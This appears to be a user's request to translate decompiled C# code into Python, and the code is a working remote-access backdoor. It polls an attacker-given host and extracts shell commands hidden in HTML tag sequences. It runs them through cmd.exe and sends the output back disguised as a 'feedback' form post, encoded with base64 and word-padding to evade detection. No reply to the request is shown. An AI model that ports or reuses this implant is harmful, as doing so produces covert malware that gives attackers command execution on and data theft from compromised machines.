Please help me to re-write this from C# to Python code !  
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Net.Http;
using System.Runtime.CompilerServices;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading.Tasks;

#nullable enable
namespace MyNamespace
{
  internal class Program
  {
    private static Dictionary<string, string> tagHex;

    private static async Task Main(string[] args)
    {
      if (args.Length < 2)
      {
        Console.WriteLine("Usage: program.exe <IPAddress> <Port>");
      }
      else
      {
        string str1 = args[0];
        string str2 = args[1];
        DefaultInterpolatedStringHandler interpolatedStringHandler = new DefaultInterpolatedStringHandler(9, 2);
        interpolatedStringHandler.AppendLiteral("http://");
        interpolatedStringHandler.AppendFormatted(str1);
        interpolatedStringHandler.AppendLiteral(":");
        interpolatedStringHandler.AppendFormatted(str2);
        interpolatedStringHandler.AppendLiteral("/");
        string url = interpolatedStringHandler.ToStringAndClear();
        string[] strArray = Encoding.UTF8.GetString(Convert.FromBase64String("YXBwbGUKYWlycGxhbmUKYW50CmF2b2NhZG8KYXJyb3cKYXN0cm9uYXV0CmFsYXJtCmFuY2hvcgphY3JvYmF0CmFsYnVtCmJhbmFuYQpiYWxsCmJvb2sKYnV0dGVyZmx5CmJpcmQKYmVhY2gKYmFza2V0CmJpY3ljbGUKYm90dGxlCmJlYXIKY2F0CmNhcgpjYWtlCmNsb3VkCmNhbmRsZQpjb21wdXRlcgpjb29raWUKY2FtZXJhCmNsb3duCmNhc3RsZQpkb2cKZHVjawpkb29yCmRyYWdvbgpkb2xwaGluCmRpYW1vbmQKZHJ1bQpkZXNrCmRvbGwKZGlub3NhdXIKZWxlcGhhbnQKZWdnCmVhZ2xlCmVhcnRoCmVudmVsb3BlCmVuZ2luZQplbGYKZXJhc2VyCmVzY2FsYXRvcgplYXNlbApmaXNoCmZsb3dlcgpmcm9nCmZpcmUKZm94CmZsYWcKZnJ1aXQKZmVhdGhlcgpmZW5jZQpmbGFzaGxpZ2h0CmdyYXBlCmd1aXRhcgpnbG9iZQpnYW1lCmdvYXQ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Y2sKc3Bvb24Kc3F1aXJyZWwKc2hpcApzbm93bWFuCnNwaWRlcgpzYW5kd2ljaAp0YWJsZQp0cmVlCnRpZ2VyCnR1cnRsZQp0cmFpbgp0ZWxlc2NvcGUKdG9vdGgKdHJ1bXBldAp0b21hdG8KdGFtYm91cmluZQp1bWJyZWxsYQp1bmljb3JuCnVuaWZvcm0KdXRlbnNpbAp1bml2ZXJzZQp1bmljeWNsZQp1a3VsZWxlCnVuZGVyZ3JvdW5kCnVybgp1cGhvbHN0ZXJlcgp2aW9saW4Kdm9sY2Fubwp2YW4KdmVzdAp2ZWdldGFibGUKdmluZQp2YWN1dW0KdmFzZQp2dWx0dXJlCnZpZGVvCndhdGVybWVsb24Kd2hhbGUKd29ybQp3YWdvbgp3YW5kCndpbmRtaWxsCndhdGNoCndpbmcKd2FsbGV0CndoZWVsCnh5bG9waG9uZQp4LXJheQp4ZWJlYwp4eWxpdG9sCnhlbm9uCnhhbnRoYW4KeGVyb3Npcwp4ZXJvcGh5dGUKeHlsdWxvc2UKeG1hcwp5ZWxsb3cKeWFjaHQKeW9ndXJ0CnlvbGsKeWFrCnlhd24KeXVjY2EKeW9kZWwKeXVydAp5ZXcKemVicmEKemlwcGVyCnpvbwp6aWd6YWcKemVybwp6b21iaWUKemFwCnplbGRhCnpvbmUKemVu")).Trim().Split(new string[3]
        {
          "\r\n",
          "\n",
          "\r"
        }, (StringSplitOptions) 1);
        Dictionary<string, List<string>> wordsDict = new Dictionary<string, List<string>>();
        foreach (string str3 in strArray)
        {
          char ch = str3[0];
          if (wordsDict.ContainsKey(ch.ToString()))
          {
            wordsDict[ch.ToString()].Add(str3.Substring(1));
          }
          else
          {
            Dictionary<string, List<string>> dictionary = wordsDict;
            string str4 = ch.ToString();
            List<string> stringList = new List<string>();
            stringList.Add(str3.Substring(1));
            dictionary[str4] = stringList;
          }
        }
        while (true)
          await SendRequest();

        string EncodeData(string data)
        {
          string base64String = Convert.ToBase64String(Encoding.UTF8.GetBytes(data));
          StringBuilder stringBuilder = new StringBuilder();
          Random random = new Random();
          foreach (char ch in base64String)
          {
            if (wordsDict.ContainsKey(ch.ToString().ToLower()))
            {
              string str = wordsDict[ch.ToString().ToLower()][random.Next(0, 10)];
              stringBuilder.Append(ch);
              stringBuilder.Append(str);
              stringBuilder.Append(" ");
            }
            else
            {
              stringBuilder.Append(ch);
              stringBuilder.Append(" ");
            }
          }
          return stringBuilder.ToString();
        }

        async Task SendRequest()
        {
          try
          {
            using (HttpClient client = new HttpClient())
            {
              client.Timeout = TimeSpan.FromSeconds(180.0);
              HttpResponseMessage async = await client.GetAsync(url);
              async.EnsureSuccessStatusCode();
              string str = DecodeData(await async.Content.ReadAsStringAsync());
              using (Process process = new Process())
              {
                process.StartInfo.FileName = "cmd.exe";
                process.StartInfo.Arguments = "/c " + str;
                process.StartInfo.RedirectStandardOutput = true;
                process.StartInfo.UseShellExecute = false;
                process.Start();
                process.WaitForExit();
                string data = ((TextReader) process.StandardOutput).ReadToEnd();
                if (string.op_Equality(data, ""))
                  data = "succeed";
                FormUrlEncodedContent urlEncodedContent = new FormUrlEncodedContent((IEnumerable<KeyValuePair<string, string>>) new KeyValuePair<string, string>[2]
                {
                  new KeyValuePair<string, string>("Name", "Test User"),
                  new KeyValuePair<string, string>("feedback", EncodeData(data))
                });
                (await client.PostAsync(url + "submit_feedback", (HttpContent) urlEncodedContent)).EnsureSuccessStatusCode();
              }
            }
          }
          catch (Exception ex)
          {
            Console.WriteLine("Error: " + ex.Message);
          }
        }
      }

      static string DecodeData(string data)
      {
        StringBuilder stringBuilder = new StringBuilder();
        foreach (Match match in new Regex("<(\\w+)[\\s>]", (RegexOptions) 16).Matches(((Capture) new Regex("<body>(.*?)</body>", (RegexOptions) 16).Match(data).Groups[1]).Value.Split(new string[1]
        {
          Environment.NewLine
        }, (StringSplitOptions) 1)[0]))
        {
          if (((Group) match).Success)
          {
            GroupCollection groups = match.Groups;
            if (string.op_Inequality(((Capture) groups[1]).Value, "li"))
              stringBuilder.Append(Program.tagHex[((Capture) groups[1]).Value]);
          }
        }
        return HexStringToBytes(stringBuilder.ToString());
      }

      static string HexStringToBytes(string hex)
      {
        byte[] numArray = new byte[hex.Length / 2];
        for (int index = 0; index < hex.Length; index += 2)
          numArray[index / 2] = Convert.ToByte(hex.Substring(index, 2), 16);
        return Encoding.ASCII.GetString(numArray);
      }
    }

    static Program()
    {
      Dictionary<string, string> dictionary = new Dictionary<string, string>();
      dictionary.Add("cite", "0");
      dictionary.Add("h1", "1");
      dictionary.Add("p", "2");
      dictionary.Add("a", "3");
      dictionary.Add("img", "4");
      dictionary.Add("ul", "5");
      dictionary.Add("ol", "6");
      dictionary.Add("button", "7");
      dictionary.Add("div", "8");
      dictionary.Add("span", "9");
      dictionary.Add("label", "a");
      dictionary.Add("textarea", "b");
      dictionary.Add("nav", "c");
      dictionary.Add("b", "d");
      dictionary.Add("i", "e");
      dictionary.Add("blockquote", "f");
      Program.tagHex = dictionary;
    }
  }
}